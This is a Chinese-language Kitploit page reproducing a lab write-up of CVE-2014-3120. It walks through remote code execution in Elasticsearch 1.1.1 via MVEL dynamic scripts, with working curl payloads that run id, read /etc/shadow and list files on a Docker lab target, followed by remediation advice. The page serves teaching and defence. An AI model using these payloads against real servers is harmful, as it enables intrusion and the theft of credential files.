Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2014-3120 — 逐步操作的实验室指南,演示针对Elasticsearch 1.1.1的CVE-2014-3120漏洞利用,涵盖漏洞分析、通过MVEL脚本实现的远程代码执行(RCE),以及Docker环境中的后渗透利用。 | Kitploit
工具/GitHubGitHub/dungsocool/cve-2014-3120
容器安全漏洞分析漏洞利用渗透测试学习与教育实验室与实践
GitHubdungsocool/cve-2014-3120

CVE-2014-3120

逐步操作的实验室指南,演示针对Elasticsearch 1.1.1的CVE-2014-3120漏洞利用,涵盖漏洞分析、通过MVEL脚本实现的远程代码执行(RCE),以及Docker环境中的后渗透利用。

查看仓库
13个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

实验 10 - CVE-2014-3120

I. 系统分析

从 Docker 环境识别攻击面

从环境中正在运行的内容开始。我们列出所有活动容器:

root@kitploit:~
docker ps

image.png

结果: 容器 p1/lab10:latest 正在运行,对外暴露 2 个端口:

端口映射协议
0.0.0.0:9200 → 9200/tcpHTTP(需验证)
0.0.0.0:9300 → 9300/tcp未知

初步观察: 端口 9200 和 9300 通常被认为是 Elasticsearch 的默认端口。然而,我们不能仅凭端口号下结论——许多其他服务也可以绑定到任意端口。

⇒ 我们直接对每个端口执行 curl 以验证实际运行的服务。

测试端口 9300

root@kitploit:~
curl -i http://192.168.3.137:9300/

image.png

响应分析:

  • 响应: curl: (52) Empty reply from server
  • 服务器响应头: 无 - 服务器未返回任何 HTTP 响应

评估: 服务器接受了 TCP 连接(未拒绝连接),但 未使用 HTTP 协议响应。这符合 Elasticsearch Transport 协议 在 端口 9300 上的行为——一种用于集群节点间通信的二进制协议,非 HTTP。

⇒ 思路: 端口 9300 使用二进制协议 → 无法通过 curl/浏览器直接利用。转向检查 端口 9200——HTTP REST API 端口。


测试端口 9200

root@kitploit:~
curl -i http://192.168.3.137:9200/

image.png

响应分析:

攻击面评估:

  • 确认此为 Elasticsearch 1.1.1——服务返回包含完整版本信息的特征 JSON 响应
  • 无需认证——REST API 直接响应,无需凭证
  • Elasticsearch 1.1.1(2014) 属于多个关键 CVE 的影响范围,特别是 CVE-2014-3120——一个允许通过 动态脚本 执行任意代码的漏洞

image.png

⇒ 思路: Elasticsearch 1.1.1 默认启用 动态脚本——允许客户端在搜索查询中发送脚本(MVEL 表达式)供服务器执行。在没有沙箱或适当验证的情况下,攻击者可以注入恶意脚本以 执行系统命令。下一步:验证目标上动态脚本是否确实处于活动状态。

验证动态脚本与 MVEL 引擎

什么是动态脚本?

Elasticsearch 支持 脚本 功能——允许客户端在搜索请求中发送脚本(数学或逻辑表达式),供服务器在处理结果时执行。在 Elasticsearch 1.x 中,此功能的默认引擎是 MVEL(MVFLEX Expression Language)。

核心安全问题

在 1.2 版本之前 的 Elasticsearch 中,动态脚本 默认启用(script.disable_dynamic: false)。这意味着:

  1. REST API 无需认证
  2. 客户端可以通过 _search API 中的 script_fields 参数发送 任意脚本
  3. MVEL 引擎 缺乏足够强大的沙箱——允许访问 Java 运行时
  4. 攻击者可以调用 java.lang.Runtime.getRuntime().exec() 来 执行系统命令

script_fields 的工作原理

当发送带有 script_fields 的搜索请求时,Elasticsearch 将:

  1. 通过 _search API 接收 JSON 请求
  2. 解析 script_fields 字段 → 找到要执行的 script
  3. 使用 MVEL 引擎评估脚本
  4. MVEL 引擎 具有 Java 运行时的完全访问权限 → 可以调用任何 Java 类
  5. 将结果返回到 HTTP 响应中

分析攻击向量:MVEL → Java 运行时 → RCE

在 Java 中,执行系统命令最常见的方式是:

root@kitploit:~
Runtime.getRuntime().exec("command");

MVEL 作为一种 完全能访问 Java 类 的表达式语言,允许直接调用:

root@kitploit:~
import java.io.*;
new java.util.Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next();

各部分解释:

⇒ 思路: 通过 Elasticsearch,RCE 的 输出直接返回在响应中——无需重定向到文件再读回。这使得漏洞利用更清晰、验证更快。

II. 攻击利用

确认动态脚本处于活动状态

在确定目标为 Elasticsearch 1.1.1 后,下一步是验证 动态脚本 是否确实启用。

CVE-2014-3120 利用了 Elasticsearch 允许客户端在 _search 请求中发送脚本这一事实。如果脚本被服务器执行,攻击者可以将无害表达式替换为调用 Java 运行时 以执行系统命令的有效载荷。

首先,我们创建一个测试文档,以确保查询至少有一个匹配结果。如果没有文档匹配,script_fields 将不会被评估。

root@kitploit:~
curl -s -X POST 'http://192.168.3.137:9200/test_index/test_type/1' \
  -H 'Content-Type: application/json' \
  -d '{"name":"test"}'

然后刷新索引:

root@kitploit:~
curl -s -X POST 'http://192.168.3.137:9200/test_index/_refresh'

接下来,我们发送一个包含无害 MVEL 表达式的 _search 请求,并使用 script_fields:

root@kitploit:~
curl -s -X POST 'http://192.168.3.137:9200/test_index/_search?pretty' \
  -H 'Content-Type: application/json' \
  -d '{
    "size": 1,
    "query": {
      "match_all": {}
    },
    "script_fields": {
      "test": {
        "script": "1+1"
      }
    }
  }'

image.png

我们发送脚本 "1+1",服务器返回结果 2。这证明了 Elasticsearch 不仅接收了 _search 请求,还在服务器端执行了动态脚本。

⇒ 动态脚本 在目标上处于活动状态。

由于目标是 Elasticsearch 1.1.1(早于 1.2),这符合 CVE-2014-3120 的利用要求:1.2 版本之前的 Elasticsearch 默认启用动态脚本,允许远程攻击者通过搜索请求执行 MVEL 表达式/Java 代码。

识别通往命令执行函数的路径

我们已经通过无害表达式 "1+1" 返回 [2] 验证了 script_fields 被 Elasticsearch 在服务器端执行。

这证明了目标不仅允许标准搜索,还允许客户端在 _search 处理过程中发送 MVEL 脚本 供服务器评估。

对于 CVE-2014-3120,关键风险在于 Elasticsearch 1.1.1 中的 MVEL 可以访问 Java 类。因此,攻击者可以发送调用 Java 运行时的脚本,而不是发送 "1+1" 这样的数学表达式:

Runtime.getRuntime().exec("command")

这是标准的 Java API,用于创建一个新进程并在操作系统上执行命令。

攻击链

root@kitploit:~
_search API
→ script_fields
→ MVEL 表达式
→ Java 运行时
→ Runtime.getRuntime().exec("command")
→ getInputStream()
→ Scanner 读取 stdout
→ 结果返回到 JSON 响应中

构造 RCE 载荷并执行

RCE 载荷:

root@kitploit:~
curl -s -X POST http://192.168.3.137:9200/_search?pretty -H "Content-Type: application/json" -d '{
  "size": 1,
  "query": {
    "filtered": {
      "query": {
        "match_all": {}
      }
    }
  },
  "script_fields": {
    "exploit": {
      "script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
    }
  }
}'

image.png

载荷分解:

结果:

响应返回包含 id 命令输出的 fields.exploit 字段:

root@kitploit:~
"exploit": [
  "uid=0(root) gid=0(root) groups=0(root)\n"
]

分析:

载荷成功通过 script_fields 中的 MVEL 脚本调用了 Runtime.getRuntime().exec("id")。响应返回了 id 命令的输出,这证明了命令已在服务器端执行。

结果 uid=0(root) gid=0(root) groups=0(root) 表明容器内的 Elasticsearch 进程以 root 权限运行。

确定权限限制

确认 RCE 后,必须通过尝试读取敏感文件来验证实际权限:

读取 /etc/shadow:

root@kitploit:~
curl -s -X POST http://192.168.3.137:9200/_search?pretty -H "Content-Type: application/json" -d '{
  "size": 1,
  "query": {
    "filtered": {
      "query": {
        "match_all": {}
      }
    }
  },
  "script_fields": {
    "shadow_test": {
      "script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"cat /etc/shadow\").getInputStream()).useDelimiter(\"\\\\A\").next();"
    }
  }
}'

image.png

观察结果:

响应返回了 /etc/shadow 文件的内容:

root@kitploit:~
root:*:17728:0:99999:7:::
daemon:*:17728:0:99999:7:::
bin:*:17728:0:99999:7:::
...

分析:

/etc/shadow 是 Linux 中的敏感系统文件,通常只有 root 用户或具有同等权限的进程才能读取。上一步中,id 命令返回:

uid=0(root) gid=0(root) groups=0(root)

这一步通过实际行为进一步确认:RCE 载荷能够成功读取 /etc/shadow。

⇒ 容器内的 Elasticsearch 以 root 权限 运行。

⇒ 影响不仅限于典型命令执行,而是 容器内具有 root 权限的 RCE。

注意:此处的 root 权限是指 Docker 容器内的 root。在没有容器以特权模式运行、挂载 Docker 套接字或挂载主机敏感卷的证据时,我们不能断定攻击者拥有主机上的 root 权限。

III. 后渗透

收集系统信息

RCE 已确认。我们继续收集系统信息以评估范围。

列出容器的根文件系统

在确认具有 root 权限的 RCE 后,我们通过 MVEL 载荷执行命令 ls -la / 来观察目标内部的文件系统:

root@kitploit:~
curl -s -X POST 'http://192.168.3.137:9200/_search?pretty' \
  -H 'Content-Type: application/json' \
  -d '{
    "size": 1,
    "query": {"filtered": {"query": {"match_all": {}}}},
    "script_fields": {
      "rootfs": {
        "script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"ls -la /\").getInputStream()).useDelimiter(\"\\\\A\").next();"
      }
    }
  }'

image.png

结果: 响应在 rootfs 字段中返回了 / 目录的内容。

分析:

ls -la / 的输出出现在 JSON 响应中,这证明了 命令已通过 RCE 在目标上执行。诸如 docker-entrypoint.sh、elasticsearch 目录以及 docker-java-home 符号链接 等文件表明,被侵入的环境是运行 Elasticsearch 的容器。

⇒ 攻击者可以以 root 权限列出容器内的文件系统。

检查网络——横向移动潜力

由于容器没有 /sbin/ifconfig 二进制文件,我们直接读取 /proc/net/route。该文件不需要外部工具,并提供了容器的路由表。

root@kitploit:~
curl -s -X POST 'http://192.168.3.137:9200/_search?pretty' \
  -H 'Content-Type: application/json' \
  -d '{
    "size": 1,
    "query": {"filtered": {"query": {"match_all": {}}}},
    "script_fields": {
      "route": {
        "script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"cat /proc/net/route\").getInputStream()).useDelimiter(\"\\\\A\").next();"
      }
    }
  }'

image.png

分析:

结果显示容器具有接口 eth0,并位于 Docker 网络 172.19.0.0/16 内。默认网关为 172.19.0.1。

这证明了容器通过 Docker 桥接网络具有内部网络连接。由于攻击者已在容器内拥有 root 权限的 RCE,如果网络策略允许,他们理论上可以继续检查同一 Docker 网络中的其他主机/服务。

然而,该输出 仅证明了路由级别的网络可见性,而非成功的横向移动。断定横向移动需要进一步的证据,例如成功扫描另一台主机、连接到内部服务或从另一个网络获取资源。

IV. 风险评估与建议

风险评估

基于分析过程中收集的证据,目标在端口 9200 上运行 Elasticsearch 1.1.1。该版本早于 1.2,属于 CVE-2014-3120 的影响范围。

该漏洞源于 1.2 版本之前的 Elasticsearch 默认启用 动态脚本,允许客户端通过搜索请求提交 MVEL 脚本。在本实验中,该功能通过无害表达式 "1+1" 得到确认,返回结果 [2]。

随后,MVEL 载荷调用了:

root@kitploit:~
Runtime.getRuntime().exec("id")

响应返回:

root@kitploit:~
uid=0(root) gid=0(root) groups=0(root)

这证明了攻击者可以通过 Elasticsearch 执行系统命令。此外,载荷成功读取了 /etc/shadow,确认了执行权限为容器内的 root。

修复建议

1. 升级 Elasticsearch 至较新版本

将 Elasticsearch 升级至 >= 1.2.0(最低要求),或理想情况下升级到当前支持的版本(8.x)。从版本 1.2 开始,动态脚本 默认禁用。

2. 立即禁用动态脚本(如果无法升级)

在 elasticsearch.yml 中添加以下内容:

root@kitploit:~
script.disable_dynamic: true

修改后重启 Elasticsearch。这将完全禁用客户端在搜索请求中提交脚本的能力。

3. 不要将 Elasticsearch REST API 暴露给不可信网络

Elasticsearch 在 1.x 版本中没有默认认证。如果必须暴露,应将其置于带有认证的反向代理之后,或仅绑定到 127.0.0.1。

高优先级

4. 启用认证和加密

现代 Elasticsearch 版本(7.x+)支持内置安全功能(认证、TLS)。如果升级,启用安全功能:

root@kitploit:~
xpack.security.enabled: true
xpack.security.transport.ssl.enabled: true

5. 使用防火墙限制访问

仅允许受信任的 IP 访问端口 9200 和 9300。不要将其 暴露 到互联网或整个内部网络。

6. 以低权限用户运行 Elasticsearch

不要以 root 用户运行 Elasticsearch。创建一个具有最小权限的专用 elasticsearch 用户。这是官方最佳实践。

下载工具
字段值含义
name"Rage"Elasticsearch 节点名称(随机漫威角色名——早期 ES 版本的默认行为)
version.number"1.1.1"极其古老的版本——2014年4月发布
build_timestamp"2014-04-16T14:27:12Z"构建于2014年
lucene_version"4.7"Lucene 4.7——旧版索引引擎
tagline"You Know, for Search"Elasticsearch 的特征签名语句
部分说明
import java.io.*导入 Java IO 类
Runtime.getRuntime()获取 Java 运行时实例
.exec("id")执行 shell 命令 id
.getInputStream()检索进程的输出流
new Scanner(...).useDelimiter("\\A").next()读取整个输出作为字符串
部分目的
"size": 1将结果限制为1个文档
"query" → "match_all"匹配所有文档(要求在索引中至少存在1个文档)
"script_fields" → "exploit"定义执行 MVEL 脚本的计算字段
"script": "import java.io.*; ..."执行 id 命令并返回输出的 MVEL 表达式
标准评估详情
CVECVE-2014-3120Elasticsearch 动态脚本 RCE
受影响服务ElasticsearchREST API 暴露在端口 9200
版本1.1.1早于 1.2,属于受影响版本
认证实验中不需要REST API 直接响应,无需凭证
利用条件动态脚本启用通过脚本 "1+1" 返回 [2] 确认
获取的权限容器内 rootid 返回 uid=0(root)
影响非常高RCE、读取敏感文件、列出文件系统、收集用户/网络详细信息
范围容器尚无主机被攻陷的证据
横向移动有待进一步验证容器通过 eth0 在 Docker 网络 172.19.0.0/16 中存在路由